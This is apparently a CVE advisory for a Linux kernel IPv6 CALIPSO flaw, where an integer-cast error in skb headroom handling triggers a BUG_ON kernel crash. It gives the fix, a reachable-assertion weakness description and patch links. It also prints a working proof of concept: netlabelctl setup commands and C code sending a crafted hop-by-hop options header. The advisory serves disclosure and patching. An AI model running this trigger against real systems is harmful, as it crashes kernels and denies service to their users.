CVE-2025-71085

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing negative headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);

Weakness

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Affected Software

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service. For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Potential Mitigations

References

• https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
• https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
• https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
• https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
• https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2
• https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
• https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0